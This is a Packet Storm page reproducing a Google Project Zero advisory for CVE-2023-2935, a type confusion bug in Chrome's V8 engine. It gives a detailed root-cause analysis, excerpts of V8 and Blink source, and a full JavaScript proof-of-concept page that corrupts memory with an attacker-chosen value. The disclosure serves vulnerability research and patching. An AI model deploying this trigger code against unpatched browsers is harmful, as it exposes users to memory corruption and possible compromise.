what you don't know can hurt you
Home Files News &[SERVICES_TAB]About Contact Add New

Chrome v8::internal::Object::SetPropertyWithAccessor Type Confusion

Chrome v8::internal::Object::SetPropertyWithAccessor Type Confusion
Posted Jun 30, 2023
Authored by Google Security Research, Glazvunov

Google Chrome version 112.0.5615.137 and Chromium version 115.0.5737.0 suffer from a type confusion vulnerability in v8::internal::Object::SetPropertyWithAccessor.

tags | exploit
advisories | CVE-2023-2935
SHA-256 | ca1ae2932c65327ead4a64b612c744bc25a9a0ee96064ba953dcf011ba640f7e

Chrome v8::internal::Object::SetPropertyWithAccessor Type Confusion

Change Mirror Download
Chrome: Type confusion in v8::internal::Object::SetPropertyWithAccessor

VULNERABILITY DETAILS
When `SetSuperProperty` can't find the requested property in the holder, it performs an `OWN` lookup on the receiver. If the receiver has a property interceptor installed, the function invokes the interceptor's descriptor callback[1] and, if the callback opts not to intercept the request[2], creates a new property by calling `CreateDataProperty` on the original lookup iterator[3].

Some descriptor callbacks, for example, the one used with `HTMLCollection` objects, call `GetRealNamedPropertyAttributesInPrototypeChain`[4] to ensure they don't hide an existing property in the prototype chain. The function works by creating a lookup iterator that starts with the receiver's prototype and calling `GetPropertyAttributes` on it. Finally, if `GetPropertyAttributes` encounters a JavaScript Proxy object, it runs the descriptor handler of the proxy. This creates a user code reentrancy point.

The problem is that the user code in the proxy handler might invalidate `own_lookup`, which is used in [3], by modifying the object, for example, by creating a property with the same name. In this scenario, `own_lookup` will be in the `NOT_FOUND` state, and `CreateDataProperty` will attempt to add a second property with the same name.

This primitive has been abused multiple times in the past, including exploits detected in the wild, to break field type tracking and bypass security-critical checks in TurboFan. Therefore, last year a hardening patch was landed[6] that catches duplicate properties in \"fast property\" mode objects. We were aware of the fact that it would still be possible to create duplicate properties in \"dictionary mode\" objects with a similar vulnerability, however, even if such an object is converted to the fast mode, its field types are generalized i.e. useless for field type tracker.

It turns out there's a way to exploit the duplicate property primitive without abusing field type tracking or TurboFan at all. The basic idea is that, depending on the current order of the properties, a property lookup for a duplicate property name might return a different value, and an object shape change, for example, transitioning between \"fast\" and \"dictionary\" properties, might reshuffle the properties.

More specifically, when `DefineOwnPropertyIgnoreAttributes` encounters a special `AccessorInfo` property and the requested attributes don't match the current ones, it will first call `TransitionToAccessorPair`[7] to update the attributes. `TransitionToAccessorPair` might reshape the object twice if needed: first from \"fast\" to \"slow\"[9] and then back to \"fast\"[10]. After that, it restarts the lookup in the current object[11]. However, if the property is a duplicate, the new lookup might point to a different value which isn't even an accessor. This value is later used for the `SetPropertyWithAccessor` call[8].

In debug builds, this will lead to the `DCHECK_EQ(ACCESSOR, state_)` assertion failure in `LookupIterator::GetAccessors`. In release builds, a value of an attacker's choice will be interpreted as an `AccessorPair` object.


REFERENCES
https://source.chromium.org/chromium/chromium/src/+/main:v8/src/objects/objects.cc;drc=f49e998b8d369971b65bc980846d2395bf4dee30;l=2665
```
Maybe<bool> Object::SetSuperProperty(LookupIterator* it, Handle<Object> value,
StoreOrigin store_origin,
Maybe<ShouldThrow> should_throw) {
Isolate* isolate = it->isolate();

if (it->IsFound()) {
bool found = true;
Maybe<bool> result =
SetPropertyInternal(it, value, should_throw, store_origin, &found);
if (found) return result;
}
[...]
Handle<JSReceiver> receiver = Handle<JSReceiver>::cast(it->GetReceiver());

// Note, the callers rely on the fact that this code is redoing the full own
// lookup from scratch.
LookupIterator::Configuration c = LookupIterator::OWN;
LookupIterator own_lookup =
it->IsElement() ? LookupIterator(isolate, receiver, it->index(), c)
: LookupIterator(isolate, receiver, it->name(), c);

for (; own_lookup.IsFound(); own_lookup.Next()) {
switch (own_lookup.state()) {
[...]
case LookupIterator::INTERCEPTOR:
case LookupIterator::JSPROXY: {
PropertyDescriptor desc;
Maybe<bool> owned =
JSReceiver::GetOwnPropertyDescriptor(&own_lookup, &desc); // *** [1] ***
MAYBE_RETURN(owned, Nothing<bool>());
if (!owned.FromJust()) { // *** [2] ***
if (!CheckContextualStoreToJSGlobalObject(&own_lookup,
should_throw)) {
return Nothing<bool>();
}
return JSReceiver::CreateDataProperty(&own_lookup, value, // *** [3] ***
should_throw);
}
[...]
}

https://source.chromium.org/chromium/chromium/src/+/refs/heads/main:out/Debug/gen/third_party/blink/renderer/bindings/core/v8/v8_html_collection.cc;drc=332f92aab4a32607f7813ac1a824f6ff0d86c369;l=197
```
void V8HTMLCollection::NamedPropertyDescriptorCallback(
v8::Local<v8::Name> v8_property_name,
const v8::PropertyCallbackInfo<v8::Value>& info) {
RUNTIME_CALL_TIMER_SCOPE_DISABLED_BY_DEFAULT(
info.GetIsolate(), \"Blink_HTMLCollection_NamedPropertyDescriptor\");

// LegacyPlatformObjectGetOwnProperty
// https://webidl.spec.whatwg.org/#LegacyPlatformObjectGetOwnProperty
v8::Local<v8::Object> v8_receiver = info.Holder();
v8::Isolate* isolate = info.GetIsolate();
v8::Local<v8::Context> current_context = isolate->GetCurrentContext();
// step 2.1. If the result of running the named property visibility algorithm
// with property name P and object O is true, then:
if (v8_receiver
->GetRealNamedPropertyAttributesInPrototypeChain(current_context, // *** [4] ***
v8_property_name)
.IsJust()) {
return; // Do not intercept. Fallback to OrdinaryGetOwnProperty.
}
[...]
}
```

https://source.chromium.org/chromium/chromium/src/+/main:v8/src/objects/js-objects.cc;drc=181f556032737223b6e43a48b81943b2f990daa8;l=753
```
Maybe<PropertyAttributes> JSReceiver::GetPropertyAttributes(
LookupIterator* it) {
for (; it->IsFound(); it->Next()) {
switch (it->state()) {
[...]
case LookupIterator::JSPROXY:
return JSProxy::GetPropertyAttributes(it); // *** [5] ***
[...]
```

[6] - https://source.chromium.org/chromium/_/chromium/v8/v8.git/+/3c7f274770e90b766ed554a6ca599e70341c9735

https://source.chromium.org/chromium/chromium/src/+/main:v8/src/objects/js-objects.cc;drc=181f556032737223b6e43a48b81943b2f990daa8;l=3650
```
Maybe<bool> JSObject::DefineOwnPropertyIgnoreAttributes(
LookupIterator* it, Handle<Object> value, PropertyAttributes attributes,
Maybe<ShouldThrow> should_throw, AccessorInfoHandling handling,
EnforceDefineSemantics semantics, StoreOrigin store_origin) {
[...]
case LookupIterator::ACCESSOR: {
Handle<Object> accessors = it->GetAccessors();

// Special handling for AccessorInfo, which behaves like a data
// property.
if (accessors->IsAccessorInfo() && handling == DONT_FORCE_FIELD) {
PropertyAttributes current_attributes = it->property_attributes();
// Ensure the context isn't changed after calling into accessors.
AssertNoContextChange ncc(it->isolate());

// Update the attributes before calling the setter. The setter may
// later change the shape of the property.
if (current_attributes != attributes) {
it->TransitionToAccessorPair(accessors, attributes); // *** [7] ***
}

return Object::SetPropertyWithAccessor(it, value, should_throw); // *** [8] ***
}
```

https://source.chromium.org/chromium/chromium/src/+/refs/heads/main:v8/src/objects/lookup.cc;drc=332f92aab4a32607f7813ac1a824f6ff0d86c369;l=815
```
void LookupIterator::TransitionToAccessorPair(Handle<Object> pair,
PropertyAttributes attributes) {
Handle<JSObject> receiver = GetStoreTarget<JSObject>();
holder_ = receiver;

PropertyDetails details(PropertyKind::kAccessor, attributes,
PropertyCellType::kMutable);

if (IsElement(*receiver)) {
[...]
} else {
PropertyNormalizationMode mode = CLEAR_INOBJECT_PROPERTIES;
if (receiver->map(isolate_).is_prototype_map()) {
JSObject::InvalidatePrototypeChains(receiver->map(isolate_));
mode = KEEP_INOBJECT_PROPERTIES;
}

// Normalize object to make this operation simple.
JSObject::NormalizeProperties(isolate_, receiver, mode, 0, // *** 9 ***
\"TransitionToAccessorPair\");

JSObject::SetNormalizedProperty(receiver, name_, pair, details);
JSObject::ReoptimizeIfPrototype(receiver); // *** [10] ***

ReloadPropertyInformation<false>(); // *** [11] ***
}
}
```


VERSION
Google Chrome 112.0.5615.137 (Official Build) (arm64)
Chromium 115.0.5737.0 (Developer Build) (64-bit)


REPRODUCTION CASE
```
<body>
<script>
class Utils {
static bigIntAsDouble(big_int) {
Utils.#big_int_array[0] = big_int;
return Utils.#double_array[0];
}

static transitionToSlow(object) {
try {
// `SetOrCopyDataProperties` will make `object` transition to slow properties
// then throw while trying to access the first property of `source.`
Object.assign(object, Utils.#slow_source);
} catch { }
}

static transitionToFastPrototype(object) {
// Assigning `__proto__` will make `object` transition to a prototype map.
// `Enumerate` will call `MakePrototypesFast`.
for (let x in { __proto__ : object }) {}
}

// Some interceptors call `GetRealNamedPropertyAttributesInPrototypeChain`. If there is a JSProxy
// in the prototype chain, the function will attempt to invoke the `getOwnPropertyDescriptor` handler.
static setInterceptorOnceCallback(object, callback) {
let prototype = Object.getPrototypeOf(object);
let grand_prototype = Object.getPrototypeOf(prototype);

Object.setPrototypeOf(prototype, new Proxy({}, {get getOwnPropertyDescriptor() {
Object.setPrototypeOf(prototype, grand_prototype);

callback();
}}));
}

static #big_int_array = new BigUint64Array(1);
static #double_array = new Float64Array(Utils.#big_int_array.buffer);
static #slow_source = {};
static {
for (let i = 0; i < 2048; ++i) {
Object.defineProperty(Utils.#slow_source, `p${i}`, {enumerable: true, get() { throw 1 }});
}
}
};

// Used by `Error.captureStackTrace`.
const PROPERTY_NAME = \"stack\";

function trigger(index) {
// The collections are cached; pass an index to get a new one each time.
let object = document.getElementsByTagName(index);

Utils.setInterceptorOnceCallback(object, _ => {
// Needed to force `ReoptimizeIfPrototype` inside `TransitionToAccessorPair`.
Utils.transitionToFastPrototype(object);

Error.captureStackTrace(object);
// Trigger `TransitionToAccessorPair` -- makes `object` fast.
Object.defineProperty(object, \"stack\", {enumerable: false});
Utils.transitionToSlow(object);

// Add more properties to rehash the dictionary.
for (let i = 0; i < index; ++i) {
object[`p${i}`] = 1;
}
});
// Pass a holder that doesn't contain the property to trigger a second lookup.
// The stored value will be interpreted as an accessor object later.
Reflect.set({}, PROPERTY_NAME, Utils.bigIntAsDouble(0x4141414141414141n), object);

// Trigger `TransitionToAccessorPair` again.
Object.defineProperty(object, PROPERTY_NAME, {enumerable: true, value: 1});
}

for (let index = 0; index < 1000; ++index)
trigger(index);

location.reload();
</script>
</body>
```


CREDIT INFORMATION
Sergei Glazunov of Google Project Zero


This bug is subject to a 90-day disclosure deadline. If a fix for this issue is made available to users before the end of the 90-day deadline, this bug report will become public 30 days after the fix was made available. Otherwise, this bug report will become public at the deadline. The scheduled deadline is 2023-07-26.


Related CVE Numbers: CVE-2023-2935.



Found by: glazunov@google.com

Login or Register to add favorites

File Archive:

February 2024

  • Su
  • Mo
  • Tu
  • We
  • Th
  • Fr
  • Sa
  • 1
    Feb 1st
    16 Files
  • 2
    Feb 2nd
    19 Files
  • 3
    Feb 3rd
    0 Files
  • 4
    Feb 4th
    0 Files
  • 5
    Feb 5th
    24 Files
  • 6
    Feb 6th
    2 Files
  • 7
    Feb 7th
    10 Files
  • 8
    Feb 8th
    25 Files
  • 9
    Feb 9th
    37 Files
  • 10
    Feb 10th
    0 Files
  • 11
    Feb 11th
    0 Files
  • 12
    Feb 12th
    17 Files
  • 13
    Feb 13th
    20 Files
  • 14
    Feb 14th
    25 Files
  • 15
    Feb 15th
    15 Files
  • 16
    Feb 16th
    6 Files
  • 17
    Feb 17th
    0 Files
  • 18
    Feb 18th
    0 Files
  • 19
    Feb 19th
    35 Files
  • 20
    Feb 20th
    25 Files
  • 21
    Feb 21st
    18 Files
  • 22
    Feb 22nd
    15 Files
  • 23
    Feb 23rd
    0 Files
  • 24
    Feb 24th
    10 Files
  • 25
    Feb 25th
    0 Files
  • 26
    Feb 26th
    37 Files
  • 27
    Feb 27th
    34 Files
  • 28
    Feb 28th
    27 Files
  • 29
    Feb 29th
    0 Files

Top Authors In Last 30 Days

File Tags

Systems

packet storm

© 2022 Packet Storm. All rights reserved.

Services
Security Services
Hosting By
Rokasec
close